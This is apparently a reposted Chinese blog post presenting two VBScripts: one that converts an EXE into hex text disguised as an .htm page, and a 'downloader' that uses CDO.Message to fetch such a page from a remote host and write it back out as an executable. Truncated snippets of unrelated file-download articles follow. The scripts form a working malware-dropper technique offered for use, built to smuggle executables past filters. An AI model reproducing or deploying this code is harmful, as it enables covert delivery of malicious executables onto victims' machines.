VBS下载文件的新方法_vbs

BLOG备份脚本时发现 CDO.MESSAGE可以访问网络下载东西,说是研究研究或许可以用来当下载者用。
于是研究了一会。写出个粗糙的DEMO。
exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制
================================================

复制代码 代码如下:

'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number<>0 then
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function

======================================
下载者 down.vbs
=============
[code]
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with
==================================
demo.htm内容时用exe2hex.vbs转EXE后获得的
使用方法:
1.exe2hex.vbs 把exe转成十六进制,放到网络上
2.down.vbs http://xxx/demo.htm c:\good.exe

时间: 2024-08-31 21:52:47

VBS下载文件的新方法_vbs的相关文章

使用vbs下载文件的代码加强版_vbs

说到使用vbs下载文件是不是想到了XMLHTTP呢,呵呵,以下是比较经典的代码: iLocal=LCase(Wscript.Arguments(1)) iRemote=LCase(Wscript.Arguments(0)) Set xPost=createObject("Microsoft.XMLHTTP") xPost.Open "GET",iRemote,0 xPost.Send() set sGet=createObject("ADODB.Strea

php实现当前页面点击下载文件的简单方法_php实例

php控制器中代码 public function downFile($path = ''){ if(!$path) header("Location: /"); download($path); } download文件下载函数代码 function download($file_url,$new_name=''){ if(!isset($file_url)||trim($file_url)==''){ echo '500'; } if(!file_exists($file_url)

php实现当前页面点击下载文件的简单方法

php控制器中代码 public function downFile($path = ''){ if(!$path) header("Location: /"); download($path); } download文件下载函数代码 function download($file_url,$new_name=''){ if(!isset($file_url)||trim($file_url)==''){ echo '500'; } if(!file_exists($file_url)

asp.net C#实现下载文件的六种方法实例_实用技巧

复制代码 代码如下: protected void Button1_Click(object sender, EventArgs e)  {  /*  微软为Response对象提供了一个新的方法TransmitFile来解决使用Response.BinaryWrite  下载超过400mb的文件时导致Aspnet_wp.exe进程回收而无法成功下载的问题.  代码如下:  */   Response.ContentType = "application/x-zip-compressed&quo

使用 Iisftp.vbs 创建FTP站点的方法_vbs

应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1 可以使用命令行脚本 iisftp.vbs(存储在 systemroot\System32 中)在运行带有 IIS 6.0 的 Windows Server 2003 家族成员的本地或远程计算机上创建文件传输协议 (FTP) 站点配置.该命令并不创建或破坏内容,但它会设置目录结构和 IIS 配置文件. iisftp.vbs下载:http://

Windows 8中IE10无法下载文件的解决方法

  从Windows 7以升级的方式安装Windows 8后,发现使用IE10出现无法下载文件的问题.点击网页的中下载链接IE10没有任何反应. 然后单击界面右上角的"工具"--"下载管理器",也没有反应.接着在尝试使用其他的功能都没有问题,看来只是IE10下载的相关功能无法正常使用了. 本来以为是安全性设置导致的问题,但是在组策略编辑器里面找遍了也没用看到类似的设置,发来才发现这原来跟Windows 8和IE10本身没有关系,原因是IE10的Internet 临时

Javaweb实现上传下载文件的多种方法_java

在Javaweb中,上传下载是经常用到的功能,对于文件上传,浏览器在上传的过程中是以流的过程将文件传给服务器,一般都是使用commons-fileupload这个包实现上传功能,因为commons-fileupload依赖于commons-io这个包,所以需要下载这两个包commons-fileupload-1.2.1.jar和commons-io-1.3.2.jar. 1.搭建环境 创建Web项目,将包导入到项目lib下 2.实现文件上传 (第一种上传的方法) 新建upload.jsp页面 <

Android实现下载文件功能的方法_Android

本文所述为Android实现下载文件功能的完整示例代码,对于学习和研究android编程相信会有一定的帮助,尤其是对Android初学者有一定的借鉴价值. 完整功能代码如下: package com.test; import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; import java.net.URL; import java.net.URLConnection; import and

用vbs实现读取文本文件的方法_vbs

vbs读取文件方法Function readfile(readfilepath) 'On Error Resume Next     Set fs = CreateObject("Scripting.FileSystemObject")     Set file = fs.OpenTextFile(readfilepath, 1, false)     readfile=file.readall     file.close     set fs=nothing end Functio